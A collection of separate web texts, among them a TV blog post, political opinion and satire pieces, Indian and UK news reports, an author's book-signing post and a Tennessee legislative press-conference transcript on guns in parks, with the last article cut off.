-Tomorrow night’s episode of Dark Matter, “She’s One Of Them Now”, is directed by the lovable Jason Priestley. Some BTS pics of the man in action…  Aware of my notorious temper, he gets things off on the right foot, showing up with an excellent bottle of scotch.  Concept meeting. He and his right hand man, 1st AD Brandon Tataryn, run the room!  I would often find him in his office, with that quizzical look on his face that said: “This script doesn’t make any sense!”  Relaxing on set, wondering what they’re going to service for lunch.  Pictured above: about to enter transfer transit so his clone can direct second unit  Spotting mermaids off the port bow.  “Okay, guys, I want a good clean fight…”  Challenging Shaun Sipos to a grappling match.  Hey, check out this great interview with actress Melanie Liburd (Nyx Harper):  Dark Matter: Melanie Liburd On Buildilng Trust With Nyx  “I think they see something in each other; they realize their hardships and they’ve both gone through struggles. They identify in that way and I think they’re almost kindred spirits, which happens quite early on. Even in the prison, Nyx and Two come up against each other and fight, and they’re impressed by each other. They develop that mutual respect for each other, and that helps her trust Nyx.”  Share this: Facebook  Twitter  Pinterest  Email  Print  More  Tumblr  WhatsApp  Pocket  LinkedIn  Reddit  Like this: Like Loading...
-Show paragraph  The near-complete capture of the policymaking process by the very privileged is precisley why income and wealth inequality have accelerated rapidly in the US. The political party controlledby the extremely wealthy has a 5-4 advantage on the Supreme Court, which has the final say on most policy debates. Its 5-4 votes on the Citizens United and McCutcheon cases institutionalized what can only be correctly called "bribeocracy" instead of democracy in the US. The wealthy used their control of policymaking to block meaningful reforms of the financial system needed to correct the abuses that led to the Great Recession. The Republican Party has blocked any taxation changes that could help pay for stimulus and infrastucture spending. Taxation policy assurer that the super-rich get richer. Today in the US, the very wealthy pay a much lower overall tax rate than their accountants, secretaries and even car mechanics. They use the "1031 exchange" rule to pay zero tax on large gains from real estate sales; they pay zero tax on income from municipal bonds; they pay a lower capital gains rate on most other income they earn because in their privileged position, they live more off of sales of stock, companies, hedge fund "carried interest" than off of ordinary income. The question is hardly "unsettled" as the author suggests. The system is rigged. Corporations owned by the very wealthy get government subsidies, whether for agricultural pursuits or drilling for oil. To keep the poor in place, the Republicans have blocked any rise in minimum wage and starve the education system by opposing taxation. The very wealthy control enough of the government to block changes that could help lessen inequality. Obama was able to squeeze by the blockade with his universal health insurance initiative at the start of his presidency, but the vehemence with which the privileged's party has fought it shows the determination of the wealthy to oppose anything that might help the non-rich. How have they managed to accomplish this in a so-called democracy? Through the use of their money (Super-PACS) and skillful propaganda (of which Fox "news" is emblematic but by no means the only vehicle). These propaganda efforts have fooled enough non-rich white voters into voting against their own interests. They will wake up, eventually, and realize that the puppeteers who pull all the strings at the Republican Party don't really care if two lesbians have a wedding, jst as they didn't really belive Obama was a Muslim socialist without a valid birth certificate. The average Republican voter will someday realize that the GOP has been manitpulating voters with such issues as gay marriage and fears of a wave on illegal immigrants to dupe gullible and fearful voters. But the inequality gap will only grow wider until the duped white voter says "enough" and throws out the toadies of the uber-rich. Only when the Republicans are reduced to a size that lacks filibuster power and a majority on the Supreme Court will it be possible to have policies that allow the less privileged to seek and obtain the education necesasry to compete in a globalized economy. Reducing income equlaity will be a long, slow process, but a fair taxation system and fairer allocation of national resources is where it must start
-[digg-reddit-me]Who knew the Bush administration actually had a strategy in fighting Al Qaeda?  Robert Grenier, who according to Joby Warrick of the Washington Post is “a former top CIA counterterrorism official who is now managing director of Kroll, a risk consulting firm” explained that we were now winning the fight against Al Qaeda after losing so many battles because:  One of the lessons we can draw from the past two years is that al-Qaeda is its own worst enemy. Where they have succeeded initially, they very quickly discredit themselves.  And you didn’t think Bush had a strategy.  It’s the old “invade-two-countries-and-use-heavy-handed- tactics-to-rile-up-the-extremists- so-that- they- initially- have- public- support- but-then- pretend -to-have -an-incompetent- strategy- to-combat- the-extremists- so-that-they- succeed- which-will- then-lead- to-the- public- turning -on- them- because- they-are- evil- doers -after-all.” One of Sun Tzu’s classic stratagems.  And apparently one which is having some success – as Peter Bergen and Paul Cruickshank suggest in their important piece in The New Republic, “The Unraveling.” Bergen and Cruickshank attribute the ideological rifts within the Muslim extremist community to Al Qaeda’s strategic blunders – but they do not give Bush enough credit for his secret plan to let Al Qaeda succeed so that their empty ideology could be exposed for what it is by fellow extremists.  Bush’s secret plan to win the War on Terrorism bears a strong resemblance to Ronald Reagan’s plan to defeat the Communist Soviet Union. By convincing the public and most of his administration that the USSR had taken a significant lead in all sorts of military areas, he increased America’s military spending exponentially. As the Soviet Union tried to keep up, it eventually collapsed exposing it’s system’s hidden flaws. Although the CIA was caught by surprise by this development during George H. W. Bush’s first term, conservatives quickly confirmed that this was all part of Reagan’s secret plan to end the destroy the Soviet Union by spending like a drunken sailor in America.  George W. Bush – whose wisdom, like Reagan’s is often compared to that of the mythical hedgehog of Isaiah Berlin’s famous essay – has been blessed with authentically evil enemies. Even if he allows them to win, within their winning are the seeds of their destruction.  It is a cunning strategy.  Now we just have to make sure we don’t choose a president who screws it all up by going after Al Qaeda in a competent fashion – a competence that might even distinguish between the Muslim extremist groups that are fighting with one another. It might look like Al Qaeda’s recent troubles happened despite, rather than because of, Bush’s ingenious strategy. But that’s only because we didn’t give enough credit to Bush and John McCain for having this secret strategy.  Now that we know, it’s important to support the right American candidate for this American presidency in this American election against all those anti-Americans out there. Vote for the Bush-McCain Super-Secret Counterterrorism Strategy: Winning the War on Terrorism by Losing Every Battle and Letting Al Qaeda Defeat Itself!  Related articles  Like this: Like Loading...
-“If there is anyone out there who still doubts that America is a place where all things are possible, who still wonders if the dream of our founders is alive in our time, who still questions the power of our democracy, tonight is your answer.”  So began Barack Obama’s victory speech in Chicago on 4 November 2008. Eight years later, as the world watches the debacle of Trump vs. Clinton, the two most unpopular candidates in US history, it is fair to say that doubts about the greatness of US democracy are more widespread than ever.  Obama was elected on a campaign of “change” and “hope” in the context of mass revulsion at the Bush years of war, economic crisis and growing inequality. But while the US has changed, it hasn’t been in the way people were hoping for.  Income and wealth inequality is higher than when Obama took office, worse now than at any time since the Great Depression of the 1930s. More people live in poverty, while corporate profits have ballooned. The wealth and unemployment gap between Black and white has grown.  Obama has deported more people than any US president in history. War still rages in the Middle East, albeit more by proxy and drone strikes than US boots on the ground. Obama has prosecuted twice as many whistleblowers as all previous presidents combined. Guantánamo remains open.  From the earliest days of Obama’s ascendency, the warning signs were there for those who cared to look. As Socialist Alternative magazine, a predecessor publication to Red Flag, noted immediately after Obama’s election:  “Obama’s win is bitter sweet. The hated Bush may be gone, but the reaction to Obama’s victory from those who drove Bush’s policies – the mass media, the military and political establishment, big business – should give those who want ‘change’ pause to think. Why? Because almost without exception the rich and powerful cheered Obama on.”  The reasons for this were twofold. First, in Obama they had a man they could trust, despite a bit of election rhetoric, to uphold their interests. He had never been a radical, and was an established Democrat who had voted the same way as Hillary Clinton 90 percent of the time. Despite running for the Democratic nomination against Clinton, he never got the treatment Bernie Sanders did. He was an insider who raised record amounts of campaign contributions from Wall Street.  Second, the Bush years were a disaster not just for millions of working class US citizens, Afghans and Iraqis – they were a disaster for the US establishment as well. The ruling class had enthusiastically backed Bush’s dream of a few quick wars to reshape the Middle East, install compliant regimes and secure another century of global dominance.  That dream became a nightmare as Iraqi resistance to US occupation grew. As the wars dragged on, failure became obvious and the costs were rising – trillions of dollars added to the US debt, more than 4,000 US soldiers killed, public opinion both around the world and at home becoming increasingly hostile and the whole empire bogged down and weakened.  They needed an exit strategy, both practically and ideologically. Bush began the former, which Obama continued, steadily pulling troops out of Iraq. But, crucially, Obama provided the latter as well. Bush’s policy failings were magnified by his bumbling, idiotic, cowboy-Republican, oil-tycoon persona. He was the Tony Abbott of US politics. Obama was the anti-Bush: Harvard educated, articulate, a Black president in a country built on slavery, and he made liberals swoon – all while continuing the bulk of Bush’s approach. Indeed, one of Obama’s first acts was to launch a troop surge of 30,000 into Afghanistan. It was a sign of things to come.  Obama had pledged that he would rein in the atrocities of the “war on terror” Bush had launched in 2001. He channelled the opposition not only to the wars in Afghanistan and Iraq, but also to Guantánamo Bay and the mass torture program the Bush administration had unleashed around the world.  Instead, Obama has presided over a massive expansion of the shadowy national security state. Not a single purveyor of torture under the Bush regime was prosecuted. The practice of “rendition” continues, whereby torture is outsourced to US allies.  Sixty people remain prisoners at Guantánamo. Some have been there since it was first opened in 2002. Most have never faced any sort of trial, let alone a fair one. Others were officially approved for release several years ago but remain imprisoned. Thirty-one have officially been given the terrifying status of “a forever prisoner”. A huge expansion in surveillance has taken place, while whistleblowers like Chelsea Manning and Edward Snowden have been mercilessly persecuted.  In a twisted way, these could be considered the lucky ones. Obama has exponentially expanded the policy of extrajudicial assassination via drone strikes. Under his watch there has been a 700 percent increase in drone strikes in Pakistan, as well as increased use in Yemen, Somalia, Syria, Iraq, Afghanistan and elsewhere. The bulk of these strikes are now what are called “signature” strikes, whereby the CIA does not even know the identity of the target, but assumes, based on movements and associations, that they might be “terrorists” and therefore deserve to die.  At 14, Faheem Qureshi was a victim of Obama’s first drone strike, just three days after Obama became president. Two of Qureshi’s uncles and his cousin were killed in the blast, and he lost his left eye. Qureshi told the Guardian that all he knows about Obama “is what he has done to me and the people in Waziristan, and that is an act of tyranny. If there is a list of tyrants in the world, to me, Obama will be put on that list by his drone program”. Don’t expect these words to appear in the official histories.  Obama’s increased use of drone and other air strikes was part of his strategy to manage the US retreat from the Middle East. As troops were pulled out, bombs and an increased reliance on allies and proxy forces in the region became the dominant strategy to try to manage the mess the Bush years had created. Meanwhile, the Obama administration was trying to reorient US imperialism to deal with the bigger and longer term threat of the rise of China, with its “pivot to Asia”. These efforts were thrown into crisis again with the Arab Spring revolutions in 2011.  Caught off guard by an immense revolutionary wave of people demanding the fall of many of US imperialism’s favourite regimes, Obama paid lip-service to democracy while manoeuvring behind the scenes to aid the forces of counter-revolution, from Egypt to Syria to Bahrain and Yemen. He has increased weapons sales to Saudi Arabia, maintained $2 billion in annual aid to the Egyptian military, and just approved the biggest ever gift of military aid to the apartheid state of Israel.  Meanwhile, in Central and South America, the Obama administration backed the violent military coup that overthrew Manuel Zelaya in Honduras, helped to destabilise left wing Venezuelan leader Hugo Chávez and his successor Nicolas Maduro and most recently supported the parliamentary coup by corrupt right wing forces in Brazil.  On the domestic front, faced with the biggest financial crisis since the Great Depression, Obama repaid his Wall Street donors many times over. Even before his election, Obama interrupted his campaign in September 2008 to fly to Washington to cajole any reluctant Democrats to vote for Bush’s $700 billion bank bailout. The money kept on flowing, with total support to the banks running into many trillions of dollars.  Meanwhile, millions lost their jobs and their homes. There was no bailout for them. When Obama moved to rescue General Motors with billions more in bailouts, he made sure it was not just taxpayers, but also GM workers, who would pick up the tab. His restructure plan included 21,000 lay-offs – a third of the workforce – a 50 percent pay cut for any new hires and cuts to pensions.  As the misery of the economic crisis grew, alongside increasing inequality, disappointment in Obama began to set in. Tens of thousands of young people who had voted and campaigned for “change we can believe in” were losing patience. In this context, inspired by the Arab Spring and mass movements in Spain and Greece, the Occupy Wall Street movement was born.  Declaring, “We are the 99 percent”, they occupied parks and squares in hundreds of US cities. The high point was a demonstration of 100,000 in New York City. Under Obama’s watch, the peaceful encampments were dealt with by a violent FBI-coordinated police crackdown that resulted in thousands being arrested, tear-gassed and beaten. He was with the 1 percent.  His most high profile achievement, the “Obamacare” health reform, has proven to be another neoliberal fraud. A publicly funded universal health care system would cost far less than the trillions spent on war and bailouts, but it was never even on the cards. Instead, Obamacare forces people to buy private health insurance. Unsurprisingly, coverage has increased, along with skyrocketing premiums, in a country where most workers’ real wages remain lower than they were in 1970.  One area in which people most hoped Obama could make a real difference was racism. And yet under the first Black US president, hundreds of thousands have had to mobilise under the banner of Black Lives Matter against an unending tide of racist police shootings. Obama has offered only the most token recognition for the protest movement’s concerns.  Many have made excuses for the appalling record of the Obama administration. As it draws to a close, the sycophantic praise for the Obama power couple will begin in earnest. The Guardian gave us a taste with a fawning review of one of Michelle Obama’s recent speeches:  “With the touch of a poet, her speech last night shamed the tat and the tawdry of populism and held out the possibility of something better … She can find words that make pictures. She brings passion and intellectual clarity. She has an actor’s sense of timing. This morning she seems the world’s most complete leader.”  Who needs Brangelina?  Barack Obama has maintained an uncanny ability to avoid being blamed for the situation the US finds itself in. Partly this is due to the superficial approach of small-l liberals, for whom an eloquent speech and a crocodile tear are enough to forgive any number of crimes. Partly it is the persistence of lesser-evilism. Obama benefited greatly from not being Bush. Then he was attacked throughout his presidency by a range of racist Republican nutters who simultaneously denounced him as a communist and a new Hitler. Now he benefits from the inevitable comparison with Trump and Clinton.  This serves only to highlight the bankruptcy of lesser-evilism. Obama’s likely successor will be Hillary Clinton, a candidate so unpopular it took the miracle of Donald Trump for her to be electable. It’s hard to see how she will be as successful a salesperson for poverty and war as Obama has been.  Obama leaves behind a United States even more plagued by poverty and inequality. He leaves an empire soaked in the blood of yet more victims. But he also leaves behind a population more disgruntled with US capitalism and more sympathetic to the idea of socialism than in decades. It is in their struggles, against every aspect of this unjust system, that genuine hope lies.
-Eight Delhi Police officers, including a joint commissioner and seven inspectors, will join the ACB.  The appointment of a joint commissioner-rank officer of the Delhi Police by Lt-Governor Najeeb Jung in the Anti-Corruption Branch (ACB) of the state government has taken a political turn with Deputy Chief Minister Manish Sisodia sniffing a conspiracy in the posting.  Advertising  Sisodia alleged that the posting had been done as Jung had become nervous due to the reopening of the CNG fitness scam file. “Kya CNG ghotale ki file khulne se dar ke ghabrakar ki jaa rahi hai ACB ke new chief ki niyukti (Is the new ACB chief being appointed out of fear after the CNG fitness file has been reopened),” Sisodia tweeted.  [related-post]  Jung on Monday transferred Joint Commissioner M K Meena, who was in charge of the case of alleged suicide of Gajendra, the farmer who died at an AAP rally, to the ACB. After the Delhi government recruited officers from UP and Bihar in the ACB, which recently witnessed a fight between CM Arvind Kejriwal and Jung over the issue of jurisdiction, this is the first set of recruitment done by the Delhi Police in the anti-corruption unit.  Eight Delhi Police officers, including a joint commissioner and seven inspectors, will join the ACB. “The recruitment has been done to augment resources in fighting corruption,” Delhi Police spokesperson Rajan Bhagat said. Along with Meena, Inspectors Braj Mohan, Kumar Kant Mishra, Vivekanand Jha, Rajkumar, Rajendra Prasad, Ricchpal Singh Meena and Puran Chand have been transferred to the anti-graft body. Bhagat said more officers will be posted to the ACB as per requirement.  Meena was earlier posted with the security unit of Delhi Police and, after becoming the JCP of New Delhi range, he supervised the alleged maid torture case against former BSP MP Dhananjay Singh and his wife.  The Delhi BJP called Sisodia’s remarks a “compulsory habit to protest”. “Ever since they have come to power, protest is what they have been doing despite being in the government. The CM himself stated in public that they had sought officers from the Delhi Police and hoped that the L-G would direct the Delhi Police to send a few officers,” Satish Upadhyay, Delhi BJP chief, said.  Advertising  On Sisodia’s remark that the appointment of the officer who made Gajendra look like an accused reeked of a conspiracy, Upadhyay said, “There is no connection between that case and the appointment. They are sceptical of everything.”
-3000  I have returned from a week away at a festival in France to find finished UK editions of Half a King, and don’t they look lovely?  Ooh, they glitter and shine and feel velvety beneath the fingers. On the left, trade paperback for export, on the right, hardcover for the UK market. The hardcover’s an interesting size, what I believe they call a ‘Short Royal’ in the trade – same width as a standard hardcover but slightly shorter, slightly squarer. There’s also a rather lovely map on the endpapers…  I dropped into the publisher to sign a few copies for retailers, chiefly for Waterstones in the UK:  3000 copies. Those things on the tables? They’re books. Those white bags? They’re ten books each. It was what is called in the trade a metric fuckton of books. I once signed a thousand at the warehouse. This was a lot more. Three times as many, in fact. Here’s just a few of them, closer up…  It took me a day to do 2600, then I stopped back in the following day to do the other 400. There was some soreness in the elbow, shoulder and hand, but overall it was a good deal less painful than I was expecting, and my thanks to Natasha, Eleanor, Tim, Tom, and all the other folks who helped sticker, fold, pass, box, and otherwise achieve this not inconsiderable task of logistics.  Should YOU desire to own one of these 3000 entirely one off, utterly unique, personally inscribed editions of Half a King, you will find them available for pre-order right over here…
-Sitting down for the first time with reporters this year, House Republican Majority Leader Gerald McCormick accused the media of spending too much time talking about their guns-in-lots legislation.  The bill proposes to clear up confusion about whether guns are allowed in certain parks by removing local governments' power to ban guns in their parks. Here's transcript of the press conference with reporters and House Speaker Beth Harwell, Caucus Leader Glen Casada and Finance Committee Chairman Charles Sargent and McCormick.  Reporter: The guns-in-parks bill being amended, you're calling for a non-concurrence. Why is that?  Speaker Harwell: It was poorly drafted and it jeopardizes the entire bill.  Reporter: How so?  Harwell: It will put a fiscal note on it. We'll go back into Finance (Ways and Means Committee). I just feel it jeopardizes the entire bill.  Reporter: Do you think it makes it more likely the governor will veto it, the entire bill?  Harwell: I can't speak for the governor, you'd have to ask him that. But I would suspect that it would.  Reporter: What do you personally think of the idea though, of being able to carry guns in the Legislative Plaza and the Capitol?  Harwell: I think that should be a separate issue that we address in another bill.  Reporter: Why would it have had a fiscal note?  Harwell: All of the security that we have everywhere, it's not just the Capitol. If you read the bill, it's all the surrounding, all the buildings surrounding the Capitol are included. Obviously, it was not offered in a constructive fashion.  Reporter: So, the Supreme Court? Library and Archives?  Harwell: If you read the amendment, all of that is included.  Reporter: So the buildings across the street?  Harwell: Yes.  Reporter: Doesn't the security machines, wouldn't they detect that anyway?  Harwell: We'd have to have extra people down there probably to check and see if someone has a card on them, we'd have to verify the card is on the person. There's a lot of issues we would need to look at if we chose to go that route. Anything else?  Reporter: I just wanted to ask Chairman Casada, I think you said though, you think there is support within the caucus for this idea.  GOP Caucus Chairman Glen Casada: For the idea, that's exactly right. But when you have something that would, in essence, I think, set a real good chance of killing the bill, then all of the sudden, the mood is not to support it and to make sure we don't kill legislation that we have now.  Reporter: To continue on, you all have been in power for a number of years. Why hadn't you all done this previously?  Casada: We've been busy cutting taxes and growing the economy. This will come up, I guess, some day soon it will come up. But it just hasn't been a top priority for us. At least I speak for leadership.  House Majority Leader Gerald McCormick: I think it's of more interest to you guys, obviously than it is to us. (House leadership laughs.)  Reporter: Part of the point of the amendment, it appeared, was well, if we're going to do this across the state, shouldn't we do that here at home where we work?  McCormick: I think the point of the amendment was to kill the bill, is what the point of the amendment was. It wasn't to be constructive and to hold us accountable like the rest of the state. It was to kill the bill.  Casada: It was poorly written, I would submit to buttress Gerald's point. And I think it was intentionally poorly written to be vague and not precise and allow loopholes. And so, that's just not how we do business here.  Reporter: Of course, the critics of the bill itself say it's vague and it allows loopholes and has sort of arguments of you have a fake gun but not a real gun or a real gun but not a fake gun. Is their criticism warranted of the original measure to begin with?  Casada: Everything we do should and deserves, everything we do should deserve debate and criticism. I think they're wrong, but that's a democratic society.  Reporter: What's your understanding of how close you can carry a firearm to a school if it's next to a park, like as in Nashville?  Casada: 37-17-1309 is very clear. If a school owns, operates or maintains a park, it is very clear, you cannot bring your gun there. Even if you're a permit holder.  Reporter: But if it's adjacent to the park?  Casada: Again, it's pretty clear. Owned, operated or maintained. The feds do have 1,000 feet which would supersede our laws, so in addition to the feds you've got our Tennessee law, which is again is 37-17-1309, it's real clear.  Reporter: But there seems to be some thought, that the 1,000 buffer wouldn't apply to permit holders.  Casada: That is, I have heard that, and that may be true. But I can only speak intelligently, and that's questionable, on Tennessee code. And I go back to what's important to our county, which is if a park is maintained, owned or operated by a school, no permit holders can bring their guns.  Reporter: Mr. Chairman, you talk about the need for debate and there was fairly lots of discussion or talk from Democrats on the floor about this measure, but there was no debate or no questions at least from Republicans on the bill Monday. Do you know what that was or why?  McCormick: On the Senate floor?  Reporter: House, I'm talking about the House, the guns in parks passed in the House earlier in the week. There were plenty of, I think 11 Democratic amendments, and certainly they got up and talked about it and there can be issues with the way they talked about it, but there was no real discussion on the amendments or discussion on the bill at all once it actually came.  McCormick: We had almost an hour of discussion on those amendments and we had some discussion on the bill, but quite frankly the rules say that you can cut off debate after a reasonable amount of time. I thought we were very patient with them, listened to a lot silliness, quite frankly, and we were very patient through the whole process. They had a lot of time. We spent more time on that bill than any other bill that night, so the idea that we didn't have a debate on that bill is ridiculous.  Reporter: You had debate on the amendments, or were discussing them and tabled them immediately.  McCormick: And they were all over the place on the amendments. They didn't stick to their amendments when they were talking about it, they talked about the whole broad range of the bill.  Reporter: I think they might argue that a debate would involve two sides. I think --  McCormick: They talked more than we did. Maybe we should have talked more instead of just letting them do it. And remember, we have a supermajority. We could have walked in there and not had any debate on it.  Reporter: So was it by design then to just say, instead of even proceeding or discussing it, just to table things and then call for the question and not actually having the sponsor discuss what the bill did and why?  Casada: I would submit that in the House, this is why we're such sticklers on bringing amendment to the floor because all the heavy lifting, all the debate is done in subcommittee, committee, subcommittee, committee in that bill. So there was a lot of debate and a lot of give and take, but we do it in subcommittee where you have the flexibly to really dig deep on an issue. So when you get to the floor, gosh, what would you say, leader? About an hour or so we still, in addition to all the committee debate.  Reporter: What do you think it says that even though the House has passed it, there's still questions about, in terms of this 1,000-foot, exactly where guns are and exactly where that line is, that it's passed the House but we still don't have answers to that yet?  Casada: Oh, I think the answers are clear. I think if a park is owned, maintained or operated by a school no permit holder can bring a gun. And let's be clear, I'm of the belief -- and I'll just express my opinion -- is that right now there are guns in parks. There was a shooting two days ago in a park. Guns in parks today exist by law-breakers. What we're saying is we want those law-abiding citizens that have demonstrated the ability to operate a weapon to be there and to avert a crime, which has happened many times across this country and this state. So, I think we're being naive-like if we say there is no guns in park, and this is a guns in parks. This is not. This is letting permit holders there to defend unarmed citizens.  Reporter: At the amendment, again, though. It does mention this idea of exempting, or not allowing explosives or other items including imitation weapons within this 150 feet. So, I'm still confused as to why it's important to not allow squirt guns or fake guns within 150 feet of a school versus school property versus a permitted gun.  Casada: All you have to do is look at Cleveland, Ohio, about two weeks ago. A child, 16 years old -- maybe I shouldn't use the word child -- was waving a plastic gun. Police officers didn't know what that was and they acted accordingly in defending the people at that park that they thought the young man had a gun. We want to avoid the vagueness and having innocent people shot for police doing their duty.  Reporter: In Tennessee then, police have to go and check whether that person has a permit before they took action?  Casada: I think what the message says is if you're waving a gun around --  Reporter: Which as a permit holder you can do apparently, according to the Radnor Lake Rambo.  Casada: You couldn't. If you wave that gun around, you're acting irresponsibly. And if a permit holder waves that gun around, they're going to be in trouble quickly.  Reporter: There's been discussion in Nashville, though, with this person, this Radnor Lake Rambo who has a gun and under this law, even with this amendment, would still be allowed to walk around with a weapon if he's permitted, with a real, again an AR-15, some sort of rifle. But if he has a squirt gun, then he can be arrested.  Casada: I think the key is if he keeps that squirt gun hidden, right, he doesn't wave it around, right, no one's going to think he's waving a weapon around.  Reporter: But he's literally waving around a rifle right now. Like, a real gun, and he's allowed to do that.  Casada: Does he have a permit?  Reporter: Yes, he has a permit for this gun.  Casada: And I thought it was a concealed weapon, currently.  Reporter: No. You know Tennessee law does not require to be concealed.  Casada: OK.  Reporter: Hopefully you know that.  Casada: I did. And look, I think that the law's clear. I mean, we're debating something theoretical. We're talking practicalities here. I'd like for us to focus on the practicalities. We need to focus on the things we're doing right in Tennessee.  Reporter: Well the shooting you referred to, two days ago, was a person playing with his cat when he accidentally discharged the weapon. Are you prepared --  Casada: No, that's not what I'm talking about.  Reporter: Well, OK. There was a shooting two days ago when a person at Hadley Park was playing with this cat, accidentally discharged the weapon. Are you prepared that if there are more guns in the park there is a higher likelihood for accidents that there may be some person hurt by having the accidental discharge of a gun in a park?  McCormick: I would say that if we spent more time worrying about criminals carrying guns in parks instead of law abiding citizens, that that would be a better use of our time.  Reporter: There are some parks, and Chairman (Charles) Sargent, you know this, Grassland Park virtually surrounds Grassland Middle and Grassland Elementary Schools. That park is maintained by the county parks department and not the school. You could walk on greenway with a gun under this bill. Could you not?  House Finance, Ways and Means Committee Chairman Charles Sargent: If they have a school function, no.  Reporter: What if they're not having a school function? What if they're not out on the playground, what if they're in the building?  Casada: The law is really clear. And this is an excellent example. Grassland has school functions there, cross country.  Reporter: Not all the time.  Casada: But the law is real clear, it doesn't say when, it says if. And current law is very clear. And so, in this case, because Grassland has school functions there, there cannot be a permit holder taking a gun on Grassland Park. Period, at any time.  Reporter: So, you're saying that, for example, so if a Nashville school had an event one time a year at a park, that there would never be allowed to have any permitted guns at that park?  Casada: I'm not a judge, nor do I pretend to be a lawyer. But if you look at the law, it says 'if.' If it said any other word, your point is valid, but it says 'if a school,' blah, blah, blah, blah. No.  Reporter: If the whole motivation of the law was to avoid confusion for permit holders who said they don't know which parks they're allowed to go in or not, how would that make it more clear for permit holders if they don't know that once a year there's the sack race by the elementary school?  Casada: I would only submit that those who want it to be confusion say it's confusing. I think the average public, good gracious, if Glen Casada can understand this, surely the good public can.  Reporter: But you as a permit holder would know, just as a matter of course, which parks allow guns and which don't, even under the new law?  Casada: I think, number one, if schools want to they can post. This is a school operated park. $5 maybe. That would be the logical conclusion.  Reporter: But Grassland Park is not owned or operated by the school.  Casada: But there's a third word, used. Owned, operated or used. Those are the three words in 37-17-1309.  Reporter: Why not just leave this to locals as it is now? Where they can address each individual situation?  McCormick: Are we answering questions or having a debate? I feel like the Democrats are here --  Reporter: I said, why not?  McCormick: And you haven't been elected.  Reporter: I said, why not? That's a question.  Casada: My response is, when it comes to constitutional questions, the state created federal government, the state created local government. So when it comes to constitutional questions, it's the state's obligation to guarantee the constitutional rights. Generally speaking, we do defer things to local. But generally speaking, this legislature believes in devolving power to the individual. Big, intrusive local governments. No redemption, we want to restore power to the individual.  Reporter: I'm not trying to debate, but these are the questions that we're being asked about this. And one of the things that keep getting pointed out to me, is you guys keep talking about criminals, but there are accidents. Permit holders have accidents.  McCormick: Certainly.  Reporter: So, if there's an accident and a permit holder is in a park, there's a high chance it's going to hit a child.  Casada: There's accidents with bicycles in parks. Should we outlaw bicycles?  Reporter: Yeah, but bikes very rarely kill people.  Casada: That's not true, I disagree with that statement.  Reporter: Guns are weapons. Are you saying a gun is as safe as bicycle?  Casada: If used properly I am. If used properly.  Reporter: In the event of an accident, which is more likely to kill someone?  Casada: Now we're back in theoretical. I think in Tennessee we're dealing with a lot more questions than guns in parks. I think this is a minor thing in the scope of what we're doing good in Tennessee.  Reporter: If someone is hit accidently with a bullet, you guys are fine defending this bill?  Casada: If someone gets run over by an automobile accidently, there's nothing I can do about that. These are things beyond, they're called acts of God, they're beyond our control.  Sargent: No one wants to see anybody get hit by a car or get hit by a bullet. So, I really take very great offense to that one. No one sitting at this table or standing around this table would ever want to see anybody hit by a bullet or a car.  Reporter: No one's suggesting that you want this to happen.  McCormick: Yes, I think that was suggested. It was suggested as you're advocating that side of the argument, which is what you're doing.  Reporter: I'm just trying to present.  McCormick: I don't think you're presenting, I think you're advocating. Is this the only thing that's important to you guys? I mean, seriously.  Reporter: You guys like to accuse the media of paying too much attention to this issue.  McCormick: You are. Right now you are.  Reporter: Well, it's an issue that has a lot of interest in the state and did not get a full debate on the floor.  McCormick: I would very much disagree. I don't think there's been a bill on the floor that had more debate than this one the whole year.  Reporter: The only discussion of the bill was the short statement by the co-sponsor reading a news story about something that happened in a different state. That was the only thing --  McCormick: That includes the amendments.  After the press conference ...  McCormick: You guys are brutal. Let me limp out of here.
-This article is over 2 years old  Philip Hammond has called on China to reduce steel production as the fate of Tata’s UK steel operations hangs in the balance.  The foreign secretary met his Chinese counterpart, Wang Yi, in Beijing on his way to Hiroshima for the G7 foreign ministers’ meeting. Hammond said the discussion had provided the opportunity to talk about “issues of mutual concern”.  “I urged China to accelerate its efforts to reduce levels of steel production. The UK’s focus is on finding a long-term sustainable future for steelmaking at Port Talbot and across the UK, and I welcomed the potential interest of Chinese companies in investment in UK steelmaking.”  As Chinese domestic demand for steel has fallen following a slowdown in the country’s economy, its steelmakers have been accused of dumping excess production on the global market.  China said on Saturday that plans to shut steel mills over the next five years would cut capacity to an estimated 1.13bn tonnes by 2020 – a figure that still far exceeds domestic demand.  Facebook Twitter Pinterest Business secretary Sajid Javid talks to workers at Tata Steel in Port Talbot. Photograph: Ben Birchall/PA  Cheap Chinese steel is one reason why UK-based producers, such as Tata, have found it harder to remain profitable. Higher energy costs in Britain compared with other countries are another factor.  Tata has decided to sell its UK steel plants, including Port Talbot in Wales and Scunthorpe in Lincolnshire. A deal to save the latter from closure could be announced early next week, the BBC reported.  The sale, to investment firm Greybull Capital, would involve a £400m investment package. The move would safeguard about 4,800 jobs and thousands more in supply chains and the local economy.  The Guardian view on Tata Steel’s pull-out: a national summons to get serious | Editorial Read more  On Friday, two Scottish steel mills that Tata had mothballed were formally handed over to their new owners, Liberty House, in a deal brokered by the Scottish government.  Production could resume at the Dalzell and Clydebridge plants as soon as August, creating 150 jobs. The plants had employed 270 workers before being closed last year.  Liberty House, which is led by Sanjeev Gupta, has been linked with a bid for the Port Talbot plant, the UK’s largest steelworks employing about 4,000 staff.  However, it is uncertain whether Liberty House has the resources to rescue Port Talbot and Tata’s other sites without large amounts of government funding.  Gupta said the government was committed to finding a solution for Port Talbot. “We don’t yet have a detailed proposition from them, but our feeling is that they are committed to finding a solution, including finding a solution to power.”  He said his company needed to examine any proposal carefully before deciding whether to make a bid.  Analysts at the investment bank Macquarie have said Tata Steel’s UK plants are not viable.  “Structural issues, such as high labour, energy and regulatory costs, make them unviable even over the longer term,” they wrote. “We think the possibility of a new buyer turning these assets around is also slim, as we saw with the Teesside facility [which SSI closed last year] and can be gauged from the prolonged discussion around the sale of its long product business [in Scunthorpe].  “Port Talbot has little future for its blast furnaces and will have to be ultimately shut down. Steelmaking in the UK under the current spread of steel and raw material makes no sense to us at all.”  Facebook Twitter Pinterest Tata’s steel plant in Scunthorpe. Photograph: Lindsey Parnaby/AFP/Getty Images  The business secretary, Sajid Javid, travelled to Mumbai this week for talks with Tata management and has called on the Indian company to be a “responsible seller” of its UK plants.  Meanwhile, Hammond said he had also spoken to Wang about the UK’s continued concerns over the case of five Hong Kong booksellers who were detained by Chinese authorities.  Hammond said: “Our diplomatic and economic relationship with China is strong and delivering benefits for both countries.  “We are building on the global partnership established during last year’s successful state visit by President Xi Jinping, by working together closely on international challenges and strengthening our trade and investment links.  “Examples of our global partnership in action include new security and peacekeeping dialogues, a new fund on antimicrobial resistance, and cooperation on Syria, Iran and North Korea.”  The foreign 